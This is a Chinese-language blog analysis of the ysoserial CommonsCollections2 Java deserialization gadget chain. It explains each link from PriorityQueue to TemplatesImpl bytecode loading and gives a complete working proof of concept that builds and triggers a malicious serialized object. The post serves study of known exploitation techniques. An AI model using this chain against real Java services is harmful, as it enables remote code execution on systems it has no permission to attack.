5

ysoserial CommonsCollections2 分析 - 功夫小熊猫

 1 year ago
source link: https://www.cnblogs.com/vpandaxjl/p/16852619.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

ysoserial CommonsCollections2 分析

在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化。

已知的TemplatesImpl->newTransformer()是最终要执行的。

TemplatesImpl类动态加载方式的实现分析见ysoserial CommonsCollections3 分析中的一、二部分。

TemplatesImpl->newTransformer()的调用通过InvokerTransformer.transform()反射机制实现,这里可以看ysoserial CommonsCollections1 分析中的前半部分内容。

cc2是针对commons-collections4版本,利用链如下:

/*
	Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()
 */

所以在InvokerTransformer.transform()之后的利用如下:

public class CC2Test2 {
    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();

        Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");

        Field name = templates_cl.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"xxx");

        Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
        transletIndex.setAccessible(true);
        transletIndex.set(templates,0);

        byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
        byte[][] codes = {code};

        //给_bytecodes赋值
        Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);

        //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
        //_tfactorys是TransformerFactoryImpl类型的
        TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
        Field tfactory = templates_cl.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,transformerFactory);

        InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
        transformer.transform(templates);

    }
}

一、InvokerTransformer.transform()的调用

TransformingComparator的compare,实现了对属性this.transformer的transform调用,这里可以通过TransformingComparator构造方法为该属性赋值。

public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
    private static final long serialVersionUID = 3456940356043606220L;
    private final Comparator<O> decorated;
    private final Transformer<? super I, ? extends O> transformer;

    public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
        this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
    }

    public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }

    public int compare(I obj1, I obj2) {
        O value1 = this.transformer.transform(obj1);
        O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
}

通过compare的调用

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
transformingComparator.compare(null,templates);

二、TransformingComparator.compare()的调用

PriorityQueue类中的readobject()调用了heapify(),heapify()中调用了siftDown(),siftDown()调用了siftDownUsingComparator(),siftDownUsingComparator()方法实现了comparator.compare()调用。

那么只要将transformingComparator对象赋值给comparator,可以通过反射,也可以通过构造方法,这里通过构造方法,且initialCapacity不能小于1。

public PriorityQueue(int initialCapacity,
                     Comparator<? super E> comparator) {
    // Note: This restriction of at least one is not actually needed,
    // but continues for 1.5 compatibility
    if (initialCapacity < 1)
        throw new IllegalArgumentException();
    this.queue = new Object[initialCapacity];
    this.comparator = comparator;
}

由于comparator.compare()中的参数来自queue,所以需要将templates赋值给queue。

InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(templates);

但是由于在priorityQueue.add()方法中会调用siftUp()->siftUpUsingComparator()->comparator.compare()。

priorityQueue.add()中带入的参数对象如果不存在newTransformer方法将报错,另外使用templates作为参数,又会导致在序列化过程构造恶意对象的时候得到执行。所以这里先用toString()方法代替,后通过反射方式修改this.iMethodName属性。

TransformingComparator transformingComparator = new TransformingComparator(transformer);

PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");

三、queue属性赋值

transient queue无法序列化,但在PriorityQueue的writeobject()、readobject中对queue做了重写,实现序列化和反序列化。

private void writeObject(java.io.ObjectOutputStream s)
        throws java.io.IOException {
    	//略
        for (int i = 0; i < size; i++)
            s.writeObject(queue[i]);
    }
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
	//略
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    heapify();
}

通过反射修改queues[0],利用如下:

TransformingComparator transformingComparator = new TransformingComparator(transformer);

PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");

Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
Object[] queues = (Object[]) queue.get(priorityQueue);
queues[0] = templates;
//这里得替换queues[0]
//如果queues[0]依旧保留使用Integer,会因为无法找到newTransformer报错。

最终完整利用实现:

public class CC2Test2 {
    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();

        Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");

        Field name = templates_cl.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"xxx");

        Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
        transletIndex.setAccessible(true);
        transletIndex.set(templates,0);

        byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
        byte[][] codes = {code};

        //给_bytecodes赋值
        Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);

        //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
        //_tfactorys是TransformerFactoryImpl类型的
        TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
        Field tfactory = templates_cl.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,transformerFactory);

        InvokerTransformer transformer = new InvokerTransformer("toString", null, null);

        TransformingComparator transformingComparator = new TransformingComparator(transformer);

        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
        iMethodName.setAccessible(true);
        iMethodName.set(transformer,"newTransformer");

        Field queue = priorityQueue.getClass().getDeclaredField("queue");
        queue.setAccessible(true);
        Object[] queues = (Object[]) queue.get(priorityQueue);
        queues[0] = templates;

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser"));
        objectOutputStream.writeObject(priorityQueue);

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser"));
        objectInputStream.readObject();

    }
}
1639143-20221102213630389-1252526612.png

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK